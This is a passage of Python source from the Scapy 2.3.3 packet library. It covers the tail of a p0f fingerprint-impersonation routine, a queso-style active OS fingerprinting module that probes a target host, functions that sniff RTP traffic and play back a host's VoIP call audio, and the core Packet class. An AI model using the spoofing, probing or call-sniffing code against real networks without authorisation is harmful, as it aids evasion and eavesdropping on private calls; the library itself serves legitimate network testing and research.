isinstance(pkt.payload, TCP): break pkt = pkt.payload if not isinstance(pkt, IP) or not isinstance(pkt.payload, TCP): raise TypeError("Not a TCP/IP packet") if uptime is None: uptime = random.randint(120,100*60*60*24*365) db = p0f_selectdb(pkt.payload.flags) if osgenre: pb = db.get_base() if pb is None: pb = [] pb = filter(lambda x: x[6] == osgenre, pb) if osdetails: pb = filter(lambda x: x[7] == osdetails, pb) elif signature: pb = [signature] else: pb = p0f_getlocalsigs()[db] if db == p0fr_kdb: # 'K' quirk <=> RST+ACK if pkt.payload.flags & 0x4 == 0x4: pb = filter(lambda x: 'K' in x[5], pb) else: pb = filter(lambda x: 'K' not in x[5], pb) if not pb: raise Scapy_Exception("No match in the p0f database") pers = pb[random.randint(0, len(pb) - 1)] # options (we start with options because of MSS) ## TODO: let the options already set if they are valid options = [] if pers[4] != '.': for opt in pers[4].split(','): if opt[0] == 'M': # MSS might have a maximum size because of window size # specification if pers[0][0] == 'S': maxmss = (2L**16-1) / int(pers[0][1:]) else: maxmss = (2L**16-1) # If we have to randomly pick up a value, we cannot use # scapy RandXXX() functions, because the value has to be # set in case we need it for the window size value. That's # why we use random.randint() if opt[1:] == '*': options.append(('MSS', random.randint(1,maxmss))) elif opt[1] == '%': coef = int(opt[2:]) options.append(('MSS', coef*random.randint(1,maxmss/coef))) else: options.append(('MSS', int(opt[1:]))) elif opt[0] == 'W': if opt[1:] == '*': options.append(('WScale', RandByte())) elif opt[1] == '%': coef = int(opt[2:]) options.append(('WScale', coef*RandNum(min=1, max=(2L**8-1)/coef))) else: options.append(('WScale', int(opt[1:]))) elif opt == 'T0': options.append(('Timestamp', (0, 0))) elif opt == 'T': if 'T' in pers[5]: # FIXME: RandInt() here does not work (bug (?) in # TCPOptionsField.m2i often raises "OverflowError: # long int too large to convert to int" in: # oval = struct.pack(ofmt, *oval)" # Actually, this is enough to often raise the error: # struct.pack('I', RandInt()) options.append(('Timestamp', (uptime, random.randint(1,2**32-1)))) else: options.append(('Timestamp', (uptime, 0))) elif opt == 'S': options.append(('SAckOK', '')) elif opt == 'N': options.append(('NOP', None)) elif opt == 'E': options.append(('EOL', None)) elif opt[0] == '?': if int(opt[1:]) in TCPOptions[0]: optname = TCPOptions[0][int(opt[1:])][0] optstruct = TCPOptions[0][int(opt[1:])][1] options.append((optname, struct.unpack(optstruct, RandString(struct.calcsize(optstruct))._fix()))) else: options.append((int(opt[1:]), '')) ## FIXME: qqP not handled else: warning("unhandled TCP option " + opt) pkt.payload.options = options # window size if pers[0] == '*': pkt.payload.window = RandShort() elif pers[0].isdigit(): pkt.payload.window = int(pers[0]) elif pers[0][0] == '%': coef = int(pers[0][1:]) pkt.payload.window = coef * RandNum(min=1,max=(2L**16-1)/coef) elif pers[0][0] == 'T': pkt.payload.window = mtu * int(pers[0][1:]) elif pers[0][0] == 'S': ## needs MSS set MSS = filter(lambda x: x[0] == 'MSS', options) if not filter(lambda x: x[0] == 'MSS', options): raise Scapy_Exception("TCP window value requires MSS, and MSS option not set") pkt.payload.window = filter(lambda x: x[0] == 'MSS', options)[0][1] * int(pers[0][1:]) else: raise Scapy_Exception('Unhandled window size specification') # ttl pkt.ttl = pers[1]-extrahops # DF flag pkt.flags |= (2 * pers[2]) ## FIXME: ss (packet size) not handled (how ? may be with D quirk ## if present) # Quirks if pers[5] != '.': for qq in pers[5]: ## FIXME: not handled: P, I, X, ! # T handled with the Timestamp option if qq == 'Z': pkt.id = 0 elif qq == 'U': pkt.payload.urgptr = RandShort() elif qq == 'A': pkt.payload.ack = RandInt() elif qq == 'F': if db == p0fo_kdb: pkt.payload.flags |= 0x20 # U else: pkt.payload.flags |= RandChoice(8, 32, 40) #P / U / PU elif qq == 'D' and db != p0fo_kdb: pkt /= conf.raw_layer(load=RandString(random.randint(1, 10))) # XXX p0fo.fp elif qq == 'Q': pkt.payload.seq = pkt.payload.ack #elif qq == '0': pkt.payload.seq = 0 #if db == p0fr_kdb: # '0' quirk is actually not only for p0fr.fp (see # packet2p0f()) if '0' in pers[5]: pkt.payload.seq = 0 elif pkt.payload.seq == 0: pkt.payload.seq = RandInt() while pkt.underlayer: pkt = pkt.underlayer return pkt def p0f_getlocalsigs(): """This function returns a dictionary of signatures indexed by p0f db (e.g., p0f_kdb, p0fa_kdb, ...) for the local TCP/IP stack. You need to have your firewall at least accepting the TCP packets from/to a high port (30000 <= x <= 40000) on your loopback interface. Please note that the generated signatures come from the loopback interface and may (are likely to) be different than those generated on "normal" interfaces.""" pid = os.fork() port = random.randint(30000, 40000) if pid > 0: # parent: sniff result = {} def addresult(res): # TODO: wildcard window size in some cases? and maybe some # other values? if res[0] not in result: result[res[0]] = [res[1]] else: if res[1] not in result[res[0]]: result[res[0]].append(res[1]) # XXX could we try with a "normal" interface using other hosts iface = conf.route.route('127.0.0.1')[0] # each packet is seen twice: S + RA, S + SA + A + FA + A # XXX are the packets also seen twice on non Linux systems ? count=14 pl = sniff(iface=iface, filter='tcp and port ' + str(port), count = count, timeout=3) map(addresult, map(packet2p0f, pl)) os.waitpid(pid,0) elif pid < 0: log_runtime.error("fork error") else: # child: send # XXX erk time.sleep(1) s1 = socket.socket(socket.AF_INET, type = socket.SOCK_STREAM) # S & RA try: s1.connect(('127.0.0.1', port)) except socket.error: pass # S, SA, A, FA, A s1.bind(('127.0.0.1', port)) s1.connect(('127.0.0.1', port)) # howto: get an RST w/o ACK packet s1.close() os._exit(0) return result scapy-2.3.3/scapy/modules/queso.py000066400000000000000000000056531300136037300171400ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ Clone of queso OS fingerprinting """ from scapy.data import KnowledgeBase from scapy.config import conf from scapy.layers.inet import IP,TCP from scapy.error import warning from scapy.volatile import RandInt from scapy.sendrecv import sr #from conf.queso_base ="/etc/queso.conf" ################# ## Queso stuff ## ################# def quesoTCPflags(flags): if flags == "-": return "-" flv = "FSRPAUXY" v = 0 for i in flags: v |= 2**flv.index(i) return "%x" % v class QuesoKnowledgeBase(KnowledgeBase): def lazy_init(self): try: f = open(self.filename) except IOError: return self.base = {} p = None try: for l in f: l = l.strip() if not l or l[0] == ';': continue if l[0] == '*': if p is not None: p[""] = name name = l[1:].strip() p = self.base continue if l[0] not in list("0123456"): continue res = l[2:].split() res[-1] = quesoTCPflags(res[-1]) res = " ".join(res) if not p.has_key(res): p[res] = {} p = p[res] if p is not None: p[""] = name except: self.base = None warning("Can't load queso base [%s]", self.filename) f.close() queso_kdb = QuesoKnowledgeBase(conf.queso_base) def queso_sig(target, dport=80, timeout=3): p = queso_kdb.get_base() ret = [] for flags in ["S", "SA", "F", "FA", "SF", "P", "SEC"]: ans, unans = sr(IP(dst=target)/TCP(dport=dport,flags=flags,seq=RandInt()), timeout=timeout, verbose=0) if len(ans) == 0: rs = "- - - -" else: s,r = ans[0] rs = "%i" % (r.seq != 0) if not r.ack: r += " 0" elif r.ack-s.seq > 666: rs += " R" % 0 else: rs += " +%i" % (r.ack-s.seq) rs += " %X" % r.window rs += " %x" % r.payload.flags ret.append(rs) return ret def queso_search(sig): p = queso_kdb.get_base() sig.reverse() ret = [] try: while sig: s = sig.pop() p = p[s] if p.has_key(""): ret.append(p[""]) except KeyError: pass return ret @conf.commands.register def queso(*args,**kargs): """Queso OS fingerprinting queso(target, dport=80, timeout=3)""" return queso_search(queso_sig(*args, **kargs)) scapy-2.3.3/scapy/modules/voip.py000066400000000000000000000103001300136037300167420ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ VoIP (Voice over IP) related functions """ import os ################### ## Testing stuff ## ################### from fcntl import fcntl from scapy.sendrecv import sniff from scapy.layers.inet import IP,UDP from scapy.layers.rtp import RTP from scapy.utils import get_temp_file def merge(x,y,sample_size=2): if len(x) > len(y): y += "\x00"*(len(x)-len(y)) elif len(x) < len(y): x += "\x00"*(len(y)-len(x)) m = "" ss=sample_size for i in xrange(len(x)/ss): m += x[ss*i:ss*(i+1)]+y[ss*i:ss*(i+1)] return m # return "".join(map(str.__add__, x, y)) def voip_play(s1,list=None,**kargs): FIFO=get_temp_file() FIFO1=FIFO % 1 FIFO2=FIFO % 2 os.mkfifo(FIFO1) os.mkfifo(FIFO2) try: os.system("soxmix -t .ul %s -t .ul %s -t ossdsp /dev/dsp &" % (FIFO1,FIFO2)) c1=open(FIFO1,"w", 4096) c2=open(FIFO2,"w", 4096) fcntl.fcntl(c1.fileno(),fcntl.F_SETFL, os.O_NONBLOCK) fcntl.fcntl(c2.fileno(),fcntl.F_SETFL, os.O_NONBLOCK) # dsp,rd = os.popen2("sox -t .ul -c 2 - -t ossdsp /dev/dsp") def play(pkt, last=None): if last is None: last = [] if not pkt: return if not pkt.haslayer(UDP): return ip=pkt.getlayer(IP) if s1 in [ip.src, ip.dst]: if not last: last.append(pkt) return load=last.pop() # x1 = load.load[12:] c1.write(load.load[12:]) if load.getlayer(IP).src == ip.src: # x2 = "" c2.write("\x00"*len(load.load[12:])) last.append(pkt) else: # x2 = pkt.load[:12] c2.write(pkt.load[12:]) # dsp.write(merge(x1,x2)) if list is None: sniff(store=0, prn=play, **kargs) else: for p in list: play(p) finally: os.unlink(FIFO1) os.unlink(FIFO2) def voip_play1(s1,list=None,**kargs): dsp,rd = os.popen2("sox -t .ul - -t ossdsp /dev/dsp") def play(pkt): if not pkt: return if not pkt.haslayer(UDP): return ip=pkt.getlayer(IP) if s1 in [ip.src, ip.dst]: from scapy.config import conf dsp.write(pkt.getlayer(conf.raw_layer).load[12:]) try: if list is None: sniff(store=0, prn=play, **kargs) else: for p in list: play(p) finally: dsp.close() rd.close() def voip_play2(s1,**kargs): dsp,rd = os.popen2("sox -t .ul -c 2 - -t ossdsp /dev/dsp") def play(pkt, last=None): if last is None: last = [] if not pkt: return if not pkt.haslayer(UDP): return ip=pkt.getlayer(IP) if s1 in [ip.src, ip.dst]: if not last: last.append(pkt) return load=last.pop() x1 = load.load[12:] # c1.write(load.load[12:]) if load.getlayer(IP).src == ip.src: x2 = "" # c2.write("\x00"*len(load.load[12:])) last.append(pkt) else: x2 = pkt.load[:12] # c2.write(pkt.load[12:]) dsp.write(merge(x1,x2)) sniff(store=0, prn=play, **kargs) def voip_play3(lst=None,**kargs): dsp,rd = os.popen2("sox -t .ul - -t ossdsp /dev/dsp") try: def play(pkt, dsp=dsp): from scapy.config import conf if pkt and pkt.haslayer(UDP) and pkt.haslayer(conf.raw_layer): dsp.write(pkt.getlayer(RTP).load) if lst is None: sniff(store=0, prn=play, **kargs) else: for p in lst: play(p) finally: try: dsp.close() rd.close() except: pass scapy-2.3.3/scapy/packet.py000066400000000000000000001413151300136037300155770ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ Packet class. Binding mechanism. fuzz() method. """ import re import time,itertools import copy import subprocess from scapy.fields import StrField, ConditionalField, Emph, PacketListField, BitField, \ MultiEnumField, EnumField, FlagsField from scapy.config import conf from scapy.base_classes import BasePacket, Gen, SetGen, Packet_metaclass from scapy.volatile import VolatileValue from scapy.utils import import_hexcap,tex_escape,colgen,get_temp_file from scapy.error import Scapy_Exception,log_runtime try: import pyx except ImportError: pass class RawVal: def __init__(self, val=""): self.val = val def __str__(self): return str(self.val) def __repr__(self): return "" % self.val class Packet(BasePacket): __slots__ = [ "time", "sent_time", "name", "default_fields", "overload_fields", "overloaded_fields", "fields", "fieldtype", "packetfields", "original", "explicit", "raw_packet_cache", "raw_packet_cache_fields", "_pkt", "post_transforms", # then payload and underlayer "payload", "underlayer", "name", # used for sr() "_answered", # used when sniffing "direction", "sniffed_on" ] __metaclass__ = Packet_metaclass name = None fields_desc = [] overload_fields = {} payload_guess = [] show_indent = 1 show_summary = True @classmethod def from_hexcap(cls): return cls(import_hexcap()) @classmethod def upper_bonds(self): for fval,upper in self.payload_guess: print "%-20s %s" % (upper.__name__, ", ".join("%-12s" % ("%s=%r"%i) for i in fval.iteritems())) @classmethod def lower_bonds(self): for lower,fval in self._overload_fields.iteritems(): print "%-20s %s" % (lower.__name__, ", ".join("%-12s" % ("%s=%r"%i) for i in fval.iteritems())) def __init__(self, _pkt="", post_transform=None, _internal=0, _underlayer=None, **fields): self.time = time.time() self.sent_time = None self.name = (self.__class__.__name__ if self._name is None else self._name) self.default_fields = {} self.overload_fields = self._overload_fields self.overloaded_fields = {} self.fields = {} self.fieldtype = {} self.packetfields = [] self.payload = NoPayload() self.init_fields() self.underlayer = _underlayer self.original = _pkt self.explicit = 0 self.raw_packet_cache = None self.raw_packet_cache_fields = None if _pkt: self.dissect(_pkt) if not _internal: self.dissection_done(self) for f, v in fields.iteritems(): self.fields[f] = self.get_field(f).any2i(self, v) if type(post_transform) is list: self.post_transforms = post_transform elif post_transform is None: self.post_transforms = [] else: self.post_transforms = [post_transform] def init_fields(self): self.do_init_fields(self.fields_desc) def do_init_fields(self, flist): for f in flist: self.default_fields[f.name] = copy.deepcopy(f.default) self.fieldtype[f.name] = f if f.holds_packets: self.packetfields.append(f) def dissection_done(self,pkt): """DEV: will be called after a dissection is completed""" self.post_dissection(pkt) self.payload.dissection_done(pkt) def post_dissection(self, pkt): """DEV: is called after the dissection of the whole packet""" pass def get_field(self, fld): """DEV: returns the field instance from the name of the field""" return self.fieldtype[fld] def add_payload(self, payload): if payload is None: return elif not isinstance(self.payload, NoPayload): self.payload.add_payload(payload) else: if isinstance(payload, Packet): self.payload = payload payload.add_underlayer(self) for t in self.aliastypes: if payload.overload_fields.has_key(t): self.overloaded_fields = payload.overload_fields[t] break elif type(payload) is str: self.payload = conf.raw_layer(load=payload) else: raise TypeError("payload must be either 'Packet' or 'str', not [%s]" % repr(payload)) def remove_payload(self): self.payload.remove_underlayer(self) self.payload = NoPayload() self.overloaded_fields = {} def add_underlayer(self, underlayer): self.underlayer = underlayer def remove_underlayer(self,other): self.underlayer = None def copy(self): """Returns a deep copy of the instance.""" clone = self.__class__() clone.fields = self.copy_fields_dict(self.fields) clone.default_fields = self.copy_fields_dict(self.default_fields) clone.overloaded_fields = self.overloaded_fields.copy() clone.underlayer = self.underlayer clone.explicit = self.explicit clone.raw_packet_cache = self.raw_packet_cache clone.raw_packet_cache_fields = self.copy_fields_dict( self.raw_packet_cache_fields ) clone.post_transforms = self.post_transforms[:] clone.payload = self.payload.copy() clone.payload.add_underlayer(clone) clone.time = self.time return clone def getfieldval(self, attr): if attr in self.fields: return self.fields[attr] if attr in self.overloaded_fields: return self.overloaded_fields[attr] if attr in self.default_fields: return self.default_fields[attr] return self.payload.getfieldval(attr) def getfield_and_val(self, attr): if attr in self.fields: return self.get_field(attr),self.fields[attr] if attr in self.overloaded_fields: return self.get_field(attr),self.overloaded_fields[attr] if attr in self.default_fields: return self.get_field(attr),self.default_fields[attr] return self.payload.getfield_and_val(attr) def __getattr__(self, attr): fld,v = self.getfield_and_val(attr) if fld is not None: return fld.i2h(self, v) return v def setfieldval(self, attr, val): if self.default_fields.has_key(attr): fld = self.get_field(attr) if fld is None: any2i = lambda x,y: y else: any2i = fld.any2i self.fields[attr] = any2i(self, val) self.explicit = 0 self.raw_packet_cache = None self.raw_packet_cache_fields = None elif attr == "payload": self.remove_payload() self.add_payload(val) else: self.payload.setfieldval(attr,val) def __setattr__(self, attr, val): if attr in self.__all_slots__: return object.__setattr__(self, attr, val) try: return self.setfieldval(attr,val) except AttributeError: pass return object.__setattr__(self, attr, val) def delfieldval(self, attr): if self.fields.has_key(attr): del(self.fields[attr]) self.explicit = 0 # in case a default value must be explicited self.raw_packet_cache = None self.raw_packet_cache_fields = None elif self.default_fields.has_key(attr): pass elif attr == "payload": self.remove_payload() else: self.payload.delfieldval(attr) def __delattr__(self, attr): if attr == "payload": return self.remove_payload() if attr in self.__all_slots__: return object.__delattr__(self, attr) try: return self.delfieldval(attr) except AttributeError: pass return object.__delattr__(self, attr) def __repr__(self): s = "" ct = conf.color_theme for f in self.fields_desc: if isinstance(f, ConditionalField) and not f._evalcond(self): continue if f.name in self.fields: val = f.i2repr(self, self.fields[f.name]) elif f.name in self.overloaded_fields: val = f.i2repr(self, self.overloaded_fields[f.name]) else: continue if isinstance(f, Emph) or f in conf.emph: ncol = ct.emph_field_name vcol = ct.emph_field_value else: ncol = ct.field_name vcol = ct.field_value s += " %s%s%s" % (ncol(f.name), ct.punct("="), vcol(val)) return "%s%s %s %s%s%s"% (ct.punct("<"), ct.layer_name(self.__class__.__name__), s, ct.punct("|"), repr(self.payload), ct.punct(">")) def __str__(self): return self.build() def __div__(self, other): if isinstance(other, Packet): cloneA = self.copy() cloneB = other.copy() cloneA.add_payload(cloneB) return cloneA elif type(other) is str: return self/conf.raw_layer(load=other) else: return other.__rdiv__(self) __truediv__ = __div__ def __rdiv__(self, other): if type(other) is str: return conf.raw_layer(load=other)/self else: raise TypeError __rtruediv__ = __rdiv__ def __mul__(self, other): if type(other) is int: return [self]*other else: raise TypeError def __rmul__(self,other): return self.__mul__(other) def __nonzero__(self): return True def __len__(self): return len(self.__str__()) def copy_field_value(self, fieldname, value): return self.get_field(fieldname).do_copy(value) def copy_fields_dict(self, fields): if fields is None: return None return dict([fname, self.copy_field_value(fname, fval)] for fname, fval in fields.iteritems()) def self_build(self, field_pos_list=None): if self.raw_packet_cache is not None: for fname, fval in self.raw_packet_cache_fields.iteritems(): if self.getfieldval(fname) != fval: self.raw_packet_cache = None self.raw_packet_cache_fields = None break if self.raw_packet_cache is not None: return self.raw_packet_cache p="" for f in self.fields_desc: val = self.getfieldval(f.name) if isinstance(val, RawVal): sval = str(val) p += sval if field_pos_list is not None: field_pos_list.append( (f.name, sval.encode("string_escape"), len(p), len(sval) ) ) else: p = f.addfield(self, p, val) return p def do_build_payload(self): return self.payload.do_build() def do_build(self): if not self.explicit: self = self.__iter__().next() pkt = self.self_build() for t in self.post_transforms: pkt = t(pkt) pay = self.do_build_payload() if self.raw_packet_cache is None: return self.post_build(pkt, pay) else: return pkt + pay def build_padding(self): return self.payload.build_padding() def build(self): p = self.do_build() p += self.build_padding() p = self.build_done(p) return p def post_build(self, pkt, pay): """DEV: called right after the current layer is build.""" return pkt+pay def build_done(self, p): return self.payload.build_done(p) def do_build_ps(self): p="" pl = [] q="" for f in self.fields_desc: if isinstance(f, ConditionalField) and not f._evalcond(self): continue p = f.addfield(self, p, self.getfieldval(f.name) ) if type(p) is str: r = p[len(q):] q = p else: r = "" pl.append( (f, f.i2repr(self,self.getfieldval(f.name)), r) ) pkt,lst = self.payload.build_ps(internal=1) p += pkt lst.append( (self, pl) ) return p,lst def build_ps(self,internal=0): p,lst = self.do_build_ps() # if not internal: # pkt = self # while pkt.haslayer(conf.padding_layer): # pkt = pkt.getlayer(conf.padding_layer) # lst.append( (pkt, [ ("loakjkjd", pkt.load, pkt.load) ] ) ) # p += pkt.load # pkt = pkt.payload return p,lst def psdump(self, filename=None, **kargs): """psdump(filename=None, layer_shift=0, rebuild=1) Creates an EPS file describing a packet. If filename is not provided a temporary file is created and gs is called.""" canvas = self.canvas_dump(**kargs) if filename is None: fname = get_temp_file(autoext=".eps") canvas.writeEPSfile(fname) subprocess.Popen([conf.prog.psreader, fname+".eps"]) else: canvas.writeEPSfile(filename) def pdfdump(self, filename=None, **kargs): """pdfdump(filename=None, layer_shift=0, rebuild=1) Creates a PDF file describing a packet. If filename is not provided a temporary file is created and xpdf is called.""" canvas = self.canvas_dump(**kargs) if filename is None: fname = get_temp_file(autoext=".pdf") canvas.writePDFfile(fname) subprocess.Popen([conf.prog.pdfreader, fname+".pdf"]) else: canvas.writePDFfile(filename) def canvas_dump(self, layer_shift=0, rebuild=1): canvas = pyx.canvas.canvas() if rebuild: p,t = self.__class__(str(self)).build_ps() else: p,t = self.build_ps() YTXT=len(t) for n,l in t: YTXT += len(l) YTXT = float(YTXT) YDUMP=YTXT XSTART = 1 XDSTART = 10 y = 0.0 yd = 0.0 xd = 0 XMUL= 0.55 YMUL = 0.4 backcolor=colgen(0.6, 0.8, 1.0, trans=pyx.color.rgb) forecolor=colgen(0.2, 0.5, 0.8, trans=pyx.color.rgb) # backcolor=makecol(0.376, 0.729, 0.525, 1.0) def hexstr(x): s = [] for c in x: s.append("%02x" % ord(c)) return " ".join(s) def make_dump_txt(x,y,txt): return pyx.text.text(XDSTART+x*XMUL, (YDUMP-y)*YMUL, r"\tt{%s}"%hexstr(txt), [pyx.text.size.Large]) def make_box(o): return pyx.box.rect(o.left(), o.bottom(), o.width(), o.height(), relcenter=(0.5,0.5)) def make_frame(lst): if len(lst) == 1: b = lst[0].bbox() b.enlarge(pyx.unit.u_pt) return b.path() else: fb = lst[0].bbox() fb.enlarge(pyx.unit.u_pt) lb = lst[-1].bbox() lb.enlarge(pyx.unit.u_pt) if len(lst) == 2 and fb.left() > lb.right(): return pyx.path.path(pyx.path.moveto(fb.right(), fb.top()), pyx.path.lineto(fb.left(), fb.top()), pyx.path.lineto(fb.left(), fb.bottom()), pyx.path.lineto(fb.right(), fb.bottom()), pyx.path.moveto(lb.left(), lb.top()), pyx.path.lineto(lb.right(), lb.top()), pyx.path.lineto(lb.right(), lb.bottom()), pyx.path.lineto(lb.left(), lb.bottom())) else: # XXX gb = lst[1].bbox() if gb != lb: gb.enlarge(pyx.unit.u_pt) kb = lst[-2].bbox() if kb != gb and kb != lb: kb.enlarge(pyx.unit.u_pt) return pyx.path.path(pyx.path.moveto(fb.left(), fb.top()), pyx.path.lineto(fb.right(), fb.top()), pyx.path.lineto(fb.right(), kb.bottom()), pyx.path.lineto(lb.right(), kb.bottom()), pyx.path.lineto(lb.right(), lb.bottom()), pyx.path.lineto(lb.left(), lb.bottom()), pyx.path.lineto(lb.left(), gb.top()), pyx.path.lineto(fb.left(), gb.top()), pyx.path.closepath(),) def make_dump(s, shift=0, y=0, col=None, bkcol=None, larg=16): c = pyx.canvas.canvas() tlist = [] while s: dmp,s = s[:larg-shift],s[larg-shift:] txt = make_dump_txt(shift, y, dmp) tlist.append(txt) shift += len(dmp) if shift >= 16: shift = 0 y += 1 if col is None: col = pyx.color.rgb.red if bkcol is None: col = pyx.color.rgb.white c.stroke(make_frame(tlist),[col,pyx.deco.filled([bkcol]),pyx.style.linewidth.Thick]) for txt in tlist: c.insert(txt) return c, tlist[-1].bbox(), shift, y last_shift,last_y=0,0.0 while t: bkcol = backcolor.next() proto,fields = t.pop() y += 0.5 pt = pyx.text.text(XSTART, (YTXT-y)*YMUL, r"\font\cmssfont=cmss10\cmssfont{%s}" % proto.name, [ pyx.text.size.Large]) y += 1 ptbb=pt.bbox() ptbb.enlarge(pyx.unit.u_pt*2) canvas.stroke(ptbb.path(),[pyx.color.rgb.black, pyx.deco.filled([bkcol])]) canvas.insert(pt) for fname, fval, fdump in fields: col = forecolor.next() ft = pyx.text.text(XSTART, (YTXT-y)*YMUL, r"\font\cmssfont=cmss10\cmssfont{%s}" % tex_escape(fname.name)) if isinstance(fval, str): if len(fval) > 18: fval = fval[:18]+"[...]" else: fval="" vt = pyx.text.text(XSTART+3, (YTXT-y)*YMUL, r"\font\cmssfont=cmss10\cmssfont{%s}" % tex_escape(fval)) y += 1.0 if fdump: dt,target,last_shift,last_y = make_dump(fdump, last_shift, last_y, col, bkcol) dtb = dt.bbox() dtb=target vtb = vt.bbox() bxvt = make_box(vtb) bxdt = make_box(dtb) dtb.enlarge(pyx.unit.u_pt) try: if yd < 0: cnx = pyx.connector.curve(bxvt,bxdt,absangle1=0, absangle2=-90) else: cnx = pyx.connector.curve(bxvt,bxdt,absangle1=0, absangle2=90) except: pass else: canvas.stroke(cnx,[pyx.style.linewidth.thin,pyx.deco.earrow.small,col]) canvas.insert(dt) canvas.insert(ft) canvas.insert(vt) last_y += layer_shift return canvas def extract_padding(self, s): """DEV: to be overloaded to extract current layer's padding. Return a couple of strings (actual layer, padding)""" return s,None def post_dissect(self, s): """DEV: is called right after the current layer has been dissected""" return s def pre_dissect(self, s): """DEV: is called right before the current layer is dissected""" return s def do_dissect(self, s): raw = s self.raw_packet_cache_fields = {} for f in self.fields_desc: if not s: break s, fval = f.getfield(self, s) # We need to track fields with mutable values to discard # .raw_packet_cache when needed. if f.islist or f.holds_packets: self.raw_packet_cache_fields[f.name] = f.do_copy(fval) self.fields[f.name] = fval assert(raw.endswith(s)) self.raw_packet_cache = raw[:-len(s)] if s else raw self.explicit = 1 return s def do_dissect_payload(self, s): if s: cls = self.guess_payload_class(s) try: p = cls(s, _internal=1, _underlayer=self) except KeyboardInterrupt: raise except: if conf.debug_dissector: if isinstance(cls,type) and issubclass(cls,Packet): log_runtime.error("%s dissector failed" % cls.name) else: log_runtime.error("%s.guess_payload_class() returned [%s]" % (self.__class__.__name__,repr(cls))) if cls is not None: raise p = conf.raw_layer(s, _internal=1, _underlayer=self) self.add_payload(p) def dissect(self, s): s = self.pre_dissect(s) s = self.do_dissect(s) s = self.post_dissect(s) payl,pad = self.extract_padding(s) self.do_dissect_payload(payl) if pad and conf.padding: self.add_payload(conf.padding_layer(pad)) def guess_payload_class(self, payload): """DEV: Guesses the next payload class from layer bonds. Can be overloaded to use a different mechanism.""" for t in self.aliastypes: for fval, cls in t.payload_guess: ok = 1 for k, v in fval.iteritems(): if not hasattr(self, k) or v != self.getfieldval(k): ok = 0 break if ok: return cls return self.default_payload_class(payload) def default_payload_class(self, payload): """DEV: Returns the default payload class if nothing has been found by the guess_payload_class() method.""" return conf.raw_layer def hide_defaults(self): """Removes fields' values that are the same as default values.""" for k, v in self.fields.items(): # use .items(): self.fields is modified in the loop if k in self.default_fields: if self.default_fields[k] == v: del self.fields[k] self.payload.hide_defaults() def clone_with(self, payload=None, **kargs): pkt = self.__class__() pkt.explicit = 1 pkt.fields = kargs pkt.default_fields = self.copy_fields_dict(self.default_fields) pkt.time = self.time pkt.underlayer = self.underlayer pkt.post_transforms = self.post_transforms pkt.raw_packet_cache = self.raw_packet_cache pkt.raw_packet_cache_fields = self.copy_fields_dict( self.raw_packet_cache_fields ) if payload is not None: pkt.add_payload(payload) return pkt def __iter__(self): def loop(todo, done, self=self): if todo: eltname = todo.pop() elt = self.getfieldval(eltname) if not isinstance(elt, Gen): if self.get_field(eltname).islist: elt = SetGen([elt]) else: elt = SetGen(elt) for e in elt: done[eltname]=e for x in loop(todo[:], done): yield x else: if isinstance(self.payload,NoPayload): payloads = [None] else: payloads = self.payload for payl in payloads: done2=done.copy() for k in done2: if isinstance(done2[k], VolatileValue): done2[k] = done2[k]._fix() pkt = self.clone_with(payload=payl, **done2) yield pkt if self.explicit or self.raw_packet_cache is not None: todo = [] done = self.fields else: todo = [k for (k,v) in itertools.chain(self.default_fields.iteritems(), self.overloaded_fields.iteritems()) if isinstance(v, VolatileValue)] + self.fields.keys() done = {} return loop(todo, done) def __gt__(self, other): """True if other is an answer from self (self ==> other).""" if isinstance(other, Packet): return other < self elif type(other) is str: return 1 else: raise TypeError((self, other)) def __lt__(self, other): """True if self is an answer from other (other ==> self).""" if isinstance(other, Packet): return self.answers(other) elif type(other) is str: return 1 else: raise TypeError((self, other)) def __eq__(self, other): if not isinstance(other, self.__class__): return False for f in self.fields_desc: if f not in other.fields_desc: return False if self.getfieldval(f.name) != other.getfieldval(f.name): return False return self.payload == other.payload def __ne__(self, other): return not self.__eq__(other) def hashret(self): """DEV: returns a string that has the same value for a request and its answer.""" return self.payload.hashret() def answers(self, other): """DEV: true if self is an answer from other""" if other.__class__ == self.__class__: return self.payload.answers(other.payload) return 0 def haslayer(self, cls): """true if self has a layer that is an instance of cls. Superseded by "cls in self" syntax.""" if self.__class__ == cls or self.__class__.__name__ == cls: return 1 for f in self.packetfields: fvalue_gen = self.getfieldval(f.name) if fvalue_gen is None: continue if not f.islist: fvalue_gen = SetGen(fvalue_gen,_iterpacket=0) for fvalue in fvalue_gen: if isinstance(fvalue, Packet): ret = fvalue.haslayer(cls) if ret: return ret return self.payload.haslayer(cls) def getlayer(self, cls, nb=1, _track=None): """Return the nb^th layer that is an instance of cls.""" if type(cls) is int: nb = cls+1 cls = None if type(cls) is str and "." in cls: ccls,fld = cls.split(".",1) else: ccls,fld = cls,None if cls is None or self.__class__ == cls or self.__class__.__name__ == ccls: if nb == 1: if fld is None: return self else: return self.getfieldval(fld) else: nb -=1 for f in self.packetfields: fvalue_gen = self.getfieldval(f.name) if fvalue_gen is None: continue if not f.islist: fvalue_gen = SetGen(fvalue_gen,_iterpacket=0) for fvalue in fvalue_gen: if isinstance(fvalue, Packet): track=[] ret = fvalue.getlayer(cls, nb, _track=track) if ret is not None: return ret nb = track[0] return self.payload.getlayer(cls,nb,_track=_track) def firstlayer(self): q = self while q.underlayer is not None: q = q.underlayer return q def __getitem__(self, cls): if type(cls) is slice: lname = cls.start if cls.stop: ret = self.getlayer(cls.start, cls.stop) else: ret = self.getlayer(cls.start) if ret is None and cls.step is not None: ret = cls.step else: lname=cls ret = self.getlayer(cls) if ret is None: if type(lname) is Packet_metaclass: lname = lname.__name__ elif type(lname) is not str: lname = repr(lname) raise IndexError("Layer [%s] not found" % lname) return ret def __delitem__(self, cls): del(self[cls].underlayer.payload) def __setitem__(self, cls, val): self[cls].underlayer.payload = val def __contains__(self, cls): """"cls in self" returns true if self has a layer which is an instance of cls.""" return self.haslayer(cls) def route(self): return (None,None,None) def fragment(self, *args, **kargs): return self.payload.fragment(*args, **kargs) def display(self,*args,**kargs): # Deprecated. Use show() """Deprecated. Use show() method.""" self.show(*args,**kargs) def _show_or_dump(self, dump=False, indent=3, lvl="", label_lvl="", first_call=True): """ Internal method that shows or dumps a hierachical view of a 